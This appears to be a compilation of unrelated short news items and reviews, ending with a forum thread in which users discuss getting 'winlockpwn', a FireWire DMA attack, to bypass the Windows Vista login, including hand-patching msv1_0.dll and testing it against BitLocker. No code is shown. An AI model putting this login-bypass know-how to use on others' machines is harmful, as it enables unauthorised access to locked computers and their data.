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Sydney has been a late starter in the craft beer and artisan cider stakes. While brew-pubs and microbreweries have been springing up around the globe, it seemed nothing could shake the Sydney beer drinker's allegiance to Tooheys, Reschs, Hahn and, gasp, KB.
But the craft beer (and cider) revolution has finally arrived in the Harbour City - and with a vengeance. Following the example of James Squire, Redoak, Rocks Brewing and other pioneers, energetic young brewers are now making interesting, small-batch beers honed to the Sydney palate.
Enlightened publicans, meanwhile, are giving over some of their taps to exotic home-grown pilsners, pale ales, porters and, increasingly, full-bodied alcoholic ciders; now the fastest-growing sector of the beverage market in Australia.
1. Original Bock (5.5% alcohol by volume), Balmain Brewing Company
Original Bock deserves a special mention because of its pioneering work on the Balmain peninsula. Sydney is a blonde-beer type of city, and this German-style dark lager is a satisfying alternative. Balmain Bock has been around since the 1980s and is therefore something of a local legend; half a dozen pubs have it on tap. Enjoy its rich mahogany colour, hoppy bitterness and hints of caramel and burnt coffee. A beer for all seasons.
2. Hangman Pale Ale (4.9% ABV), Rocks Brewing Co
Harts Pub in the Rocks has become something of a shrine for Sydney "hop heads" (beer aficionados) over the past few years. Hangman, a full-bodied, American-style pale ale, is one of the mainstays here; the gruesome name is a reference to the early convict days, when a gallows operated on nearby George Street. The combination of American yeast and cascade and liberty hops provides its distinctive citrus zing on the nose. A truly satisfying beer, with a lovely golden colour and firm head.
3. Surry Hills Pils (5% ABV), Sydney Brewhouse
Brewer Michael Capaldo produces some fiendishly good beers from a tiny space below the old Macquarie Hotel (renamed the Sydney Brewhouse) on Wentworth Avenue in Surry Hills. Pilsner is the thinking person's lager and this one is a triumph: aromatic and packed with big malt flavour. Expect plenty of grassy and citrus notes and a good clean finish. Like all great pilsners, this one is very food-friendly. Pick up a six-pack at the bottle shop and head to your favourite Vietnamese, Thai or Indian restaurant.
4. 2011 Reserve Pale Ale (4.5% ABV), Endeavour Beverages
If you apply the principles of the slow food movement to craft beer, you come up with Endeavour, Sydney's own vintage beer brand. The company produces only two styles of beer, amber and pale ale. Each is handcrafted using the finest hops, barley and wheat. The pale ale is bottle-conditioned and uses three types of hops (galaxy, cascade and summer) to produce a lovely dark golden ale with a floral and spicy nose; you'll find a cornucopia of aromas, such as lime, passionfruit, apricot and tropical fruit. A beer for grown-ups.
5. Kolsch (4.6% ABV), 4 Pines Brewing Company
Manly's favourite brew-pub may have started out as a home-away-from-home for visiting ale-thirsty British and Irish tourists, but it's now recognised as one of Australia's most innovative brewers. While 4 Pines' ESB (Extra Special Bitter) takes some beating, its smoother and less alcoholic Kolsch is an excellent choice for summer.
If you enjoy a fresh, lemony brew with strong malt backbone, this hoppy Cologne-style pale ale is perfect. Coincidentally, this just happens to be the brewery's best-selling beer.
6. Sixty Nine Summer Ale (4.6% ABV), Riverside Brewing Company
This summery offering comes from Sydney's (more precisely Parramatta's) newest microbrewery. Designed for the Australian palette, this modern-style pale ale is a worthy alternative to lager, but offers stronger hop flavours and a distinctly fruity aroma (think passionfruit, cloves or marmalade). A great barbecue beer, which its makers hope will evoke memories of Sydney summers in the 1960s, it is made with 100 per cent Australian barley and hops.
7. Redoak Bitter (3.4% ABV), Redoak Brewery
Redoak's David Hollyoak is one of the superstars of the Sydney brewing scene and over the past few years, Redoak has picked up more bling than Ian Thorpe. This English-style bitter is one its most popular brews and recently took gold at the World Beer Cup in the US. Pouring amber in the glass, Redoak Bitter is a surprisingly robust ale (despite its low alcohol content), with a nutty, hop finish and pleasant notes of citrus, tropical fruit, caramel and burnt toffee.
8. Three Sheets (4.9% ABV), Lord Nelson Brewery
The brewer calls Three Sheets an "Australian pale ale" but it leans very much in the direction of a modern India Pale Ale (IPA) with a strong, hoppy taste and distinct malt characters of caramel and toasted bread. Expect quite a fruity beer, with hints of citrus, apricot and peach. Three Sheets pours a dark amber colour, with a good creamy head. This ale is now widely available in 330ml bottles, but nothing beats a lovingly poured pint at the Lord Nelson, Sydney's oldest and most atmospheric brew-pub.
9. Thunder Bolt Strong Ale (6.4% ABV), St Peters Brewery
This hard-hitting ale is named in honour of the infamous 19th-century bushranger Captain Thunderbolt, a man who had a taste for holding up pubs as well as stagecoaches. The use of fuggles and goldings hops guarantees a rich, complex flavour profile, with hints of banana, orange and caramel. Thunder Bolt pours dark and coppery in the glass, with a strong white head. The ale is a long-standing favourite at the Pumphouse in Darling Harbour, where it is sold exclusively, and is produced at an artisan brewery in Sydney's inner-west.
10. One Fifty Lashes Pale Ale (4.2% ABV), James Squire
The latest addition to the James Squire portfolio is aimed squarely at the craft beer virgin. One Fifty Lashes (the name refers to the sentence handed out to the convict/brewer James Squire in 1789) is a classic "session beer", with a fruity nose and crisp, clean finish. This is an elegant, easy-drinking beer - and a pleasant change to all those citrusy Australian pale ales. Created at the Malt Shovel Brewery in Camperdown, One Fifty Lashes is now brewed in South Australia. Available as a draught beer or in 345ml stubbies from the bottle shop.
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LOS ANGELES -- Tony Scott, director of blockbusters Top Gun and Days of Thunder, jumped to his death Sunday from the Vincent Thomas Bridge, authorities said.
According to the Associated Press, Scott, 68, climbed a fence on the bridge and jumped around 12:30 p.m. One report quoted a coroner's report that said Scott jumped "without hesitation."
More: Ron Howard, stars remember Scott's 'talent,' 'fun'
U.S. Coast Guard Lt. Jennifer Osburn told the Daily Breeze that a suicide note was found inside Scott's black Toyota Prius, which was parked on one of the eastbound lanes of the bridge.
UPDATE, 8/20, 7 a.m. ET: Police found a suicide note in Scott's office, reports the Los Angeles Times. Its contents were not revealed.
Authorities used sonar equipment to find Scott's body in the port's murky waters. Divers recovered his body about 4:30 p.m.
Scott was director of Tom Cruise's Top Gun, as well as Beverly Hills Cop II and the remake of The Taking of Pelham 1 2 3.
At the time of his death, he had recently completed filming on Out of the Furnace, says the Times, a drama he was producing that was due out next year starring Christian Bale. Scott was also preparing to produce a science-fiction drama called Ion and had served as executive producer on Stoker, set for release in March.
Known for his trademark red baseball cap, the British-born Scott was the brother of director Ridley Scott, and the two shared producing credits on the CBS dramas The Good Wife and NUMB3RS.
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NEW YORK - As he searches for answers on how to strengthen his aggravated labrum in his right shoulder, Dwight Howard could begin by consulting a prominent teammate who's gone through similar issues.
Kobe Bryant.
He's nursed shoulder injuries in past seasons and has remarked how he's played despite the persisting pain.
"I'm probably just crazy," Bryant said. "There's certain players that don't mind and play through all kinds of pain. I'm one of those players."
Viewing Bryant as a case study in hopes that Howard can return when the Lakers (22-26) play Tuesday against the Brooklyn Nets (28-19) at Barclays Center isn't so simple.
"Me and Kobe play two different positions," said Howard, who's missed the past two games. "With the position that I play, I use a lot of force coming up, whether that's going up for a dunk or a shot."
Howard has already ruled out surgery this season because the recovery process would take at least six months. He had a non-invasive platelet-rich plasma (PRP) injection Saturday, though it may take seven to 10 days before he feels any affects if it at all. Howard's also routinely iced his shoulder and received electronic stimulation.
Regardless, it's not going to change an unpleasant reality whenever he returns to the court.
"He's going to get hit all the time," Bryant said. "He has broad shoulders."
So how does Howard find the right balance between making the tactical adjustments without inhibiting any of his aggressiveness?
"I'm not really sure," Bryant said. "When you get hit on those things, your arm is going to go dead. That's how it is when you deal with shoulder injuries. It's going to be like that for a while."
Staying patient
In the latest carousal that makes up D'Antoni's rotations, second-year guard Darius Morris has become the odd man out.
He missed the past five games in favor of shooting guard Jodie Meeks. But Morris knows the drill after seeing playing time for Antawn Jamison and Meeks fluctuate.
"It's going to come," said Morris, who's averaged 4.7 points on 39.5 percent shooting and 1.7 assists in 39 games. "I'd rather it be next week than next month, but you stay ready. Don't be down or discouraged about it."
Morris has relatively improved from his rookie season. Lakers coach Mike D'Antoni likes Morris' speed and work ethic as well as his ability to defend bigger guards with his his 6'7", 190-pound frame. Morris praised D'Antoni for helping him "expanding" his game at shooting guard.
"Kobe always tells me to keep working at it," Morris said. "If I know there's something I want to be in my head, I can't let anybody discourage that. I have to just keep working and become that player I want to become."
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By Steve Horn • Thursday, May 1, 2014 - 12:06
Right before the champagne bottles began popping for activists engaged in a grassroots struggle to halt the construction of Williams Companies' prospective Bluegrass Pipeline project — which the company suspended indefinitely in an April 28 press release — Williams had already begun raining on the parade.
The pipeline industry giant took out the trash on Friday, April 25, announcing its intentions to open a new Louisiana pipeline named Gulf Trace.
Akin to TransCanada's ANR Pipeline recently reported on by DeSmogBlog, Gulf Trace is not entirely "new," per se. Rather, it's the retooling of a pipeline system already in place, in this case Williams' Transco Pipeline system.
The retooling has taken place in the aftermath of Cheniere's Sabine Pass LNG export facility receiving the first ever final gas export permit from the U.S. Federal Energy Regulatory Commission (FERC) during the fracking era.
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Both ANR and Gulf Trace will feed into Sabine Pass, the Louisiana-based LNG export terminal set to open for business in late 2015. Also like ANR, Transco will transform into a gas pipeline flowing in both directions, "bidirectional" in industry lingo.
Bluegrass, if ever built, also would transport fracked gas to the Gulf Coast export markets. But instead of LNG, Bluegrass is a natural gas liquids pipeline (NGL).
"The project…is designed to connect [NGLs] produced in the Marcellus-Utica areas in the U.S. Northeast with domestic and export markets in the U.S. Gulf Coast," it explained in an April 28 press release announcing the project's suspension.


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5 online backup services keep your data safe
We review five of the best-known cloud-based backup services.
It's a fact of modern life that archiving data is essential to prevent a data disaster. Still, something like one-third of computers are never backed up, according to 2,257 respondents in a recent Backblaze poll carried out by Harris Interactive. The survey came to the dismal conclusion that a scant 7% of users practice safe computing by archiving their systems on a daily (or nightly) basis.
"It's pitiful how few people protect their key data," says Dave Simpson, senior analyst at the market analysis firm 451 Group. "Once it's gone, it's gone."
In place of the traditional technique of storing backups on an external hard drive, an increasingly popular remedy is to use an online backup service that saves the data on servers in the cloud. You don't need any extra hardware and once it's been set up, the system can automatically do the deed when the computer is idle.
"Online backup is a real alternative to local backups," adds Simpson. "It is a popular option to storing backups on a hard drive."
In the two years since we last looked at this area, a lot has changed. To begin with, there are now nearly four dozen companies selling online backup services. They have more automatic features; and, besides restoring files to the host computer, many (although not all) of the services now allow you to retrieve the stored files with a smartphone or tablet or to email them to a friend or colleague.
But while saving your files to the cloud is convenient and a good way to automate your backups, it has its disadvantages. First, the initial backup can be painfully slow, taking as much as several days, depending on the amount of data and the speed of your Internet connection. The good news is that only the first backup is this slow. After that, updates with new data take 10 or 15 minutes, on average.
Equally frustrating is that many online storage services only back up your personal files -- those you create -- and not those that the system requires to boot up, for example. This means that you're only partially protected.
With several dozen services out there, by far the hardest part is deciding which online backup service to use. I signed up for five of the most well-known online backup services: Backblaze, Carbonite, CrashPlan, Mozy and Norton Online Backup. I tested them by backing up a desktop PC with Windows 7 Professional (some of these also work with Macs as well).
While all of the tested services do the same basic task -- saving your files to the cloud -- they exhibit a variety of features and pricing options that make it relatively easy to choose among them, depending on what your needs are.
To firefighters, a Backblaze is a fire that has been deliberately set to protect a forest by depriving the blaze of fuel. Computer users should think of Backblaze as a way to wall off their key files from all sorts of disasters.
The heart of the application is Backblaze's Control Panel, which can be started from a Task Tray icon. The interface puts key information up front, showing when the last backup was made and what files are waiting to be sent. There are buttons for backing up now, restoring data and changing the software's settings.
Backblaze offers unlimited storage capacity, but the service limits what types of files can be archived. Unlike the other services reviewed here, Backblaze specifically excludes a whole series of file types. By default, the service saves all user files such as music, photos and emails, but ignores system, program and Windows files, although you can put some file types back into the backup mix, such as Windows or program files.
You can set Backblaze backups to be continuous (where it's backing up to the cloud whenever your files are saved or changed), performed on a schedule or done on demand. Although the service can back up the contents of an external hard drive, Backblaze doesn't include the ability to back up the entire system to an external hard drive as three of the other services reviewed here can.
Unlike Mozy and Carbonite, Backblaze doesn't put a small colored dot next to file icons to mark files that have already been backed up or are ready to be sent. Archived files are available for recovery for up to a month after they've been deleted -- a disappointingly short time limit compared to CrashPlan's never-delete policy. And there is no way to share your files.
Another negative is that Backblaze colocates its servers at a single data center in the U.S. where the service keeps redundant copies of all backups, thereby placing all of your backup eggs in one basket.
On the positive side, Backblaze has an unusual security system that uses a 2,048-bit RSA Public/Private encryption key to secure a 128-bit key that encrypts the actual files. It's the most airtight security of the five applications reviewed here.
Other nice features include an upload speedometer that shows how fast data moved during the last backup and a tool that helps you find a lost or stolen computer by notifying the user of its location if it is logged on to the Internet (although Backblaze can't disable the computer remotely).
Test results
In tests using Backblaze's default settings, the service's archived 978MB of data in 1 hour, 42 minutes and 32 seconds. (Note: Because each application's default settings differed, the amount of data each archived at this point differed widely.)
A 25MB incremental backup took 4 minutes and 31 seconds, roughly halfway between CrashPlan's 1 minute and 3 seconds and Norton's 7 minutes and 23 seconds.
Searching for a lost file took Backblaze 2.1 seconds, about the same time as the others. I was able to resurrect the file in a quick 25.3 seconds, the fastest of the bunch.
Rather than restoring files online, Backblaze will send a hard drive or a set of DVDs containing your backups for $189 or $99. This goes beyond Carbonite's Home Premium offer to send you a data-filled hard drive.
Backblaze has a two-week free trial. The service costs a reasonable $50 a year for unlimited storage, but extra computers cost $5 each to back up, something that Norton doesn't charge for. Backblaze offers client software for PCs and Macs, but not Linux computers, and unlike the others, the service doesn't have any companion smartphone apps.
Bottom line
All told, Backblaze can prevent a data disaster by protecting your most precious digital possessions, but it too severely limits what can be backed up.
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Q&A: Max Vangeli
With the support of dance music superstars like Steve Angello, Max Vangeli has found himself a place in the SIZE family. After touring around the world, and releasing an album with AN21, People of the Night, Max continues to push the envelope and has kicked 2014 off with a brand new release with Danny Ray. But he's not stopping there - Max has a lot planned for this year, and he's only getting started.
We caught up with Max recently, and he told us about his upcoming plans for 2014, what he loves about being a part of SIZE, his fans, and .... Aqua? (Remember them?!) Check it out below in our Q&A with Max Vangeli!
Tell us about your new collab "Grim" with Danny Ray. How did you both get together? What do you love about this track the most?
I have known Danny for many years now and we always planned to do something and finally did. I found this weird chanting sample which was really unique, and we sort of built the record around that. Was a really cool concept and something different.
Having kicked off 2014 by releasing your new track, what else do you have in store for this year? What are you looking forward to the most, and why?
Oh I have my big one coming for Miami this year, which I am really excited about! Its going to be my little baby :)
What was your New Year's resolution this year?
To go harder and make sure 2014 is my biggest year yet!
How do you think you've grown as an artist from when you first started your career until now?
I would say I definitely matured a lot more. At the beginning I was just all over the place but as you get older you learn to balance things out a lot better.
You collaborate with AN21 often. What is your favorite part about working with him?
I think we are both very aggressive producers and know exactly what we want, thus the end result is always something special.
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People of the Night has was released in 2012. Any plans on a solo album?
DEFINITELY YES! I would love to do a solo album one day and I will!
If you could get studio time with any musician or band in the world, dead or alive, who would it be?
Prodigy probably!
We recently caught one of your Facebook posts, which was a photo of John Lennon with Che Guevara. Being that you produce dance music, we're interested to know what artists you listen to, or are inspired by, outside of EDM?
I'll be honest with you I would say ANYTHING that is NOT EDC I love! Rock, hip hop, etc. I just LOVE music!
What is your first music memory?
I remember my parents listening to this French guy I used to love! I don't even know who he was but he was amazing! Also Adriano Celentano, haha.
Who is one artist or band you would never admit to listening to, but do?
Hmmm I used to listen to Aqua back in the day. I guess thats kinda embarrassing, but like I said I don't really care, I love it all.
There's no place like home, so what do you love about San Francisco the most? Where is your favorite place to hang out?
I actually just moved to Vegas but I love SF. Something about the city that is just amazing! The food, the people, and its all by the water!
What's your favorite thing about being a part of SIZE?
Being part of a family! We are all so close together, and it makes us very special.
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You have many loyal fans. What has been your favorite fan interaction?
I love listening to voice messages of soldiers sending in to CODE Radio and telling me how much I help them with my music. Its something special!
What's the best piece of advice you've been given and who gave it to you?
My dad. He would always say, "Don't do anything I wouldn't do."
You play all over the world in different cities/clubs/etc., but what is the one thing that you always need in your rider?
Always need my alcohol for the friends and fans partying with me! Need to make sure everyone is having a good time right?


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Peter Thiel Makes First Investment in a Thiel Fellows Company
Peter Thiel has made his first investment in a Thiel Fellows company, Thinkful. The startup's co-founder, Dan Friedman, is a former Yale University student who "took a leave" from the school to start the online tutoring business.
The Thiel Fellowship program, open to people aged 14 to 20, is sometimes criticized for encouraging young people to drop out of college, or miss it entirely, in favor of starting a business or–in program parlance–"doing" rather than "just studying."
Established by Thiel, a PayPal co-founder, serial entrepreneur and investor, the program gives young people "a no-strings-attached grant of $100,000 to skip college and focus on their work, their research, and their self-education," according to thielfellowship.org.
Friedman was selected as one of the first 20 Under 20 Thiel Fellows in 2011. Now 21, he dropped out of Yale's class of 2013 to accept the fellowship and build Thinkful, a company that delivers one-on-one tutoring online, for job seekers and professionals who want to advance in the workforce.
Thinkful has received seed financing of $1 million from Peter Thiel's FF Angel, RRE Ventures, Quotidian Ventures and others to grow its professional-education business, according to Friedman, its president and co-founder.
Currently, Thinkful employees interview all prospective students by phone, then route them to the appropriate courses and tutors on Thinkful.com. Friedman said many of the students come to his digital school having tried other existing, free channels for learning Web development.
Thinkful currently offers only Web development education, but plans to move into other subjects in 2013.
A long list of tech startups have attained funding in recent years to deliver one-on-one tutoring and mentoring online, for example, online trainers Retrofit and Wello.co, stylists Keaton Row, or language-teaching service TutorGroup.
Other providers of technical education online like Udacity, Codecademy, Coursera and Skillcrush have also attained venture funding in recent years, though their approaches differ from Thinkful's.
Unlike other education tech startups,Thinkful employs its own full-time instructors. The company was partly inspired by ThinkGeek's approach to delivering great customer service to consumers with IT problems, said Friedman.
Thinkful sells its courses direct to consumers, and through employers who offer to sponsor their existing employees' professional educations.
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Kim Kardashian and Kanye West may be celebrating their Vogue cover, but plenty of people have been put off by their big score.
The magazine's infamous Editor-In-Chief, Anna Wintour, is biting back at critics and defending her decision to place her famous friends on the coveted cover.
She also took time to shoot down reports that Yeezus begged her to put Kim on the cover.
Check out her official statement:
"Part of the pleasure of editing Vogue, one that lies in a long tradition of this magazine, is being able to feature those who define the culture at any given moment, who stir things up, whose presence in the world shapes the way it looks and influences the way we see it. I think we can all agree on the fact that that role is currently being played by Kim and Kanye to a T. (Or perhaps that should be to a K?)
As for the cover, my opinion is that it is both charming and touching, and it was, I should add, entirely our idea to do it; you may have read that Kanye begged me to put his fiancée on Vogue's cover. He did nothing of the sort. The gossip might make better reading, but the simple fact of the matter is that it isn't true.
There's barely a strand of the modern media that the Kardashian Wests haven't been able to master, and for good reason: Kanye is an amazing performer and cultural provocateur, while Kim, through her strength of character, has created a place for herself in the glare of the world's spotlight, and it takes real guts to do that."
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Opening January 18, 2013, Brüka Theatre presents The Goat or, Who Is Sylvia? In this dark comedy written by Edward Albee, a successful and professional couple has their world turned up side down by an act of infidelity and....love? A powerfully confronting and darkly comedic story involving Martin- an architect, Stevie- his wife, Billy- their son, and Ross- a family friend and witness to it all. Albee subtitles this play "Notes towards a definition of tragedy". Jamie Woodham Plunkett directs this classic comedy - tragedy with modern twists. The Goat was the winner of both the 2002 Drama Desk and Tony Award for Best Play.
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Utah Opera returns to the Madeleine Festival tonight with a performance of Stephen Paulus and Andrea Fellows Walters' 35-minute opera "Shoes for the Santo Niño." Choristers from the Madeleine Choir School also are featured.
Commissioned for New Mexico's statehood centennial in 2012, "Shoes for the Santo Niño" is based on a children's book by Peggy Pond Church. The story expands on a popular legend about the Santo Niño de Atocha, a statue of the child Jesus with perpetually worn-out shoes. In Church's tale, Julianita, the youngest of 11 children who is finding her place in the world, decides to investigate the phenomenon.
"Her faith makes the statue come alive," said director Kathleen Clawson, who directed the opera's world-premiere performances in Albuquerque and Santa Fe. The boy invites Julianita to accompany him as he goes about secretly doing good deeds, and the two meet several animals a horse, a burro, a mouse, a jackrabbit. As Julianita learns each animal's purpose, she realizes that she, too, "is made exactly as God wants her to be," Clawson said.
The Santo Niño explains to Julianita that although some people don't believe in miracles, he and his fellow saints perform small miracles daily "just to keep in practice, so that when the world needs miracles again, [they] will be ready," she said. The opera closes with the lines "milagro; estaremos listos" "miracle; we will be ready." Though the opera is in English, it contains a sprinkling of Spanish words whose English translation is clear in context, she said.
"The story appeals to all ages," Clawson said. "It speaks to finding miracles in our lives every day."
The director had high praise for the young singers of the Madeleine Choir School and their director, Melanie Malinka. "They are truly young professionals," she said. "The music is complex, and they are doing a brilliant job of it. They're disciplined and wonderful young musicians."
Utah Symphony associate conductor Vladimir Kulenovic will conduct the singers and small orchestra. Utah Opera's Resident Artists, a quartet of young professionals, will fill the adult roles in the opera and will perform a short program of Spanish art songs on the program's first half.
Opera in the cathedral
Utah Opera teams up with the Madeleine Choir School to present the short opera "Shoes for the Santo Niño." The opera company's resident artists also will sing Spanish art songs.
Where • Cathedral of the Madeleine, 331 E. South Temple, Salt Lake City
When • Sunday and Monday, April 28 and 29, 8 p.m.
Admission • Free
Next • The festival continues Sunday, May 5, with a presentation by playwright and author David Kranes titled "A Playwright's Education the Winding Journey between I and We."


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PRINCETON, N.J. -- Three Ivy squads went head-to-head last week while the five other squads participated in meets around the Northeast as top times and marks across the League continued to drop.
Additionally, the inagural USTFCCCA indoor regional rankings were released Tuesday, with the eight Ivy squads well represented in their respective regions. For the men, Princeton is No. 3 in the Mid-Atlantic Region, trailing Penn State and Navy. Penn is currently No. 13 in the Mid-Atlantic. In the Northeast Region, Cornell is No. 2, followed by Dartmouth at No. 6, Columbia at No. 12, Harvard at No. 13 and Yale at No. 15.
In the women's rankings, Princeton is No. 2 in the Mid-Atlantic, followed by Penn at No. 10. In the Northeast Region, Cornell is No. 2, Columbia is No. 3, Harvard is No. 7, Brown is No. 11, Dartmouth is No. 13 and Yale is No. 14.
At the NYC Armory Triangular, the Big Green menled the way with 78 points followed by Yale (53 points) and Columbia (40 points). Yale senior Mary Evans raced to the League's best time in the 200m dash (21.87) while Dartmouth's Phil Royer turned in the second fastest League time to-date in the 3,000m run (8:17.03). Dartmouth's David Irving won the weight throw with a League-best toss of 61-2.25, representing one of eight events won by the Big Green.
Columbia took top team honors on the women's side with 77 points. Yale was a close second with 65 points and Dartmouth finished third with 38 points. Lion freshman Taylor Johnson won the 200m dash in 25.24, the fourth fastest Ivy time so far this season. Teammate Sharay Hale, last year's Ivy League Heptagonal Indoor Outstanding Performer of the Meet, turned in the top Ivy time in the 400m dash (54.18), while Dartmouth's Alexandra Tanner placed second with the No. 2 Ivy time (56.14). Yale's Kate Grace won the 800m run in 2:11.88, also the fastest time among Ivies thus far. Columbia freshman Tara Richmond and junior Monique Roberts both earned League-best marks of 5-8.75 in the high jump.
Brown's men won a pair of events at the Harvard Challenge and, combined with Harvard, topped Patriot League teams Army and Colgate, 193-121. Freshman John Spooney earned the 200m dash title in 22.12 seconds, and sophomore Daniel Smith won the shot put title with a throw of 53-7. The Crimson went 1-2-3 in the 1,000m run and 1-2 in the 3,000m run. Erik Kraus won the 1,000m in 2:31.66 and Dan Chenoweth took first in the 3,000m in 8:17.21.
In the women's competition, Harvard and Brown combined to top Army and Colgate in a landslide, 116-42. The Bears won five event titles including junior Susan Scavone's personal record in the 60m hurdles (8.76), also the second best Ivy time to-date. In field events, Brown's Rachel Biblo won the triple jump with a League-best leap of 39-8. Harvard's women won eight events, includign the 200m, 500m, 3,000m and 5,000m.
At their own Princeton Relays, the Tiger women won 11 of 16 events including the weight throw, shot put, pole vault, 60 meter hurdles, mile, 500m, 800m, 1,000m, 3,000m, 4x400m and 300m. The distance trio of Ashley Higginson (4:48.73), Sarah Cummings (4:49.74) and Alex Banfich (4:50.63) went 1-2-3 in the mile, scoring the top three Ivy times to-date. The men's team won six events, highlighted by Austin Hollimon's school record-breaking run in the 300m dash. His winning time of 33.53 bested his own mark of 33.88, set last year.
Competing at the Great Dane Classic, Penn's Leah Brown raced to a season-best 7.74 in the 60m dash, the fourth fasted Ivy time to-date. Another highlight was the freshman duo of Christine Cohick and Kersie Jhabvala who went 1-2 the 5,000m in 17:42.24 and 17:45.04, respectively. The Quaker women placed third overall in the field of 18 scoring teams. Meanwhile, the Quaker men placed seventh of 24 teams. Freshman Maalik Reynolds was second in the high jump with a mark of 6-9. The rookie remains tied for fifth nationally with his school-record leap of 7-3 one week ago.
Rounding out the Ivy teams in action last week were Cornell's men and women who each took top team honors at their own Upsate Challenge. The Big Red men won nine events, including three by freshmen -- Chris Bain in the 60m (6.85), Kinsely Ojukwu in the triple jump (49-2.5) and Eric Bice 1,000m (2:28.67). Cornell's women also dominated the competition, winning 11 events including the distance medley relay, which set a Barton Hall record (11:49.38).
All individual and meet results, Ivy League top marks lists and national top marks lists can be found here.
Complete recaps and results from all of last week's action can be found at the links below.
Brown @ Harvard Challenge | Full Men's Recap | Full Women's Recap | Results
Columbia @ NYC Armory Triangular | Full Men's and Women's Recap | Results
Cornell @ Upsate Challenge | Full Men's Recap | Full Women's Recap | Results
Dartmouth @ NYC Armory Triangular | Full Men's Recap | Full Women's Recap | Results
Harvard @ Harvard Challenge | Full Men's & Women's Recap | Results
Penn @ Great Dane Classic | Full Men's Recap | Full Women's Recap | Results
Princeton @ Princeton Relays | Full Men's Recap | Full Women's Recap | Results
Yale @ NYC Armory Triangular | Full Men's Recap | Full Women's Recap | Results
Friday, Jan. 28
Brown, Dartmouth, Harvard Yale @ Terrier Classic (Boston University, Cambridge, Mass.)
Harvard @ Harvard Multi-Meet (Harvard University, Cambridge, Mass.)
Columbia, Penn @ Penn State National (Penn State, University Park, Pa.)
Saturday, Jan. 29
Brown, Dartmouth, Harvard Yale @ Terrier Classic (Boston University, Cambridge, Mass.)
Harvard @ Harvard Multi-Meet (Harvard University, Cambridge, Mass.)
Columbia, Penn @ Penn State National (Penn State, University Park, Pa.)
Columbia @ Metropolitan Championships (The Armory, New York, N.Y.)
Cornell, Princeton @ Saturday Night at the Armory (The Armory, New York, N.Y.)
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ORLANDO, Fla. - Food Network star and Southern cookbook author Paula Deen, who a year ago announced she has type 2 diabetes, is sharing her tips on cooking to live a healthier, longer life.
Though better known for indulgent recipes such as Ooey Gooey Butter Cake, Deen has changed her recipe repertoire to feature lighter, healthier fare. Deen, 66, was diagnosed with diabetes three years before she made the news public.
During a recent promotional event at the Bob Carr Performing Arts Center in Orlando, Fla., the Savannah, Ga., native cooked up Chicken Fajitas, substituting wheat for corn tortillas and Greek yogurt for sour cream.
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(NEWSER) – Customers at a Starbucks drive-thru in St. Petersburg, Fla., kept a "pay it forward" chain going for 11 hours and 378 cars yesterday, reports the Tampa Bay Times. It began about 7am, when a woman paid for the order of the car behind her, and that driver did the same, and on, and on, and on. The spirit got so infectious thatBay News 9 talks to drivers who paid for two cars in the rear or ponied up for gift cards if nobody was behind them. It ended about 6pm, when a woman said thanks, but no thanks, when informed what was happening. (A Starbucks in Connecticut has the Florida mark beat.)
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Selena Gomez is thanking fans following the birth of her new baby sister. The singer tweeted on Friday that she, her mother and stepfather are "so grateful" for their well wishes. She shared the baby's name as well, Gracie Elliot, saying that her "lil sissy" was born last Wednesday.
The news became public however through Selena's good friend and fellow pop star Demi Lovato, who tweeted about it the next day. Selena had announced that her mother, Mandy Teefey, was expecting just last month.
Momma, Brian, and me are all so grateful for all your well wishes. My lil sissy Gracie Elliot Teefey was born on June 12th. Luv you all XO— Selena Gomez (@selenagomez) June 14, 2013
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HHMI, the Bill & Melinda Gates Foundation, the Wellcome Trust, and the Calouste Gulbenkian Foundation announce the selection of 41 International Research Scholars, early-career scientists poised to advance biomedical research across the globe.
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Two films and one short film series produced by HHMI's Tangled Bank Studios and BioInteractive won awards at the Jackson Hole Science Media Awards.
New program aims to recruit and retain early-career scientists who are from gender, racial, ethnic, and other groups underrepresented in the life sciences, including those from disadvantaged backgrounds.
The KwaZulu-Natal Research Institute for TB-HIV and the Africa Centre for Population Health join forces to form a new interdisciplinary institute to fight tuberculosis, HIV and related diseases.
HHMI Investigator David E. Clapham, MD, PhD, will become Vice President and Chief Scientific Officer, effective September 1, 2016.
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Debora Spar, PhD, president of Barnard College, is HHMI's newest Trustee.
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HHMI President Robert Tjian will step down in late 2016.
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Sixty-eight medical and veterinary students from 37 different schools across the country will participate in HHMI's year-long Medical Research Fellows Program.
On May 13, Princeton University President Emerita Shirley Tilghman will deliver a talk, "The Wild and Wacky World of Epigenetics" at 7:00 p.m. at Janelia Research Campus.
HHMI, the Bill & Melinda Gates Foundation, and the Simons Foundation launch Faculty Scholars Program to give promising early-career scientists a boost.
On February 18, Janelia group leader Luke Lavis will speak about "The Chemistry of Color" at 7:00 p.m. at Janelia Research Campus.
Fernando Amat, Philipp Keller, and William Lemon win first prize in the 2014 Olympus BioScapes Digital Imaging Competition for their video that captures the early development of a fruit fly embryo.
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I installed those drivers and it didnt resolve the problem. Actually, it made the ipod not even register as a connection in Firewire devices! I attempted to do a system restore but it failed too.
I'm looking foward to your results!
I haven't used the code yet as I don't have the equipment at home. I will try it next week when I go to the lab in the university. But I guess that it should work with the drivers I installed, if the signature and the offset are correct. I will post next week when I have some results.
I installed those drivers and it didnt resolve the problem. Actually, it made the ipod not even register as a connection in Firewire devices! I attempted to do a system restore but it failed too.
I'm looking foward to your results!
I performed some tests today but had no luck. I see the ipod in the Device Manager, but if i logout and initiate winlockpwn, it starts searching for the signature, reaches the end offset and outputs an error message. Strange. If I have time tomorrow I'll test further.
Could the folks that have captured additional (ie, non-ipod) firewire rom csr's post them here for others to test?
Also, someone posted earlier about alternative ipod drivers that worked for the attack against vista. But the link is dead. Can you describe how to find that driver?
My interest here is testing how the dma attack vector interacts with bitlocker. I'm currently decrypting a bitlockered vista system to verify Aza's (of Moonloop) patch of the vista msv1_0.dll works when patched by hand. Will post results later.
Yep, I can confirm that Aza's winlockpwn patch for vista works when manually patching msv1_0.dll. So I'm right where this thread left off before I joined in: finding a firewire driver combination that allows read-write over dma on vista.
Updated Winlockpwn to support Vista and XP SP3.
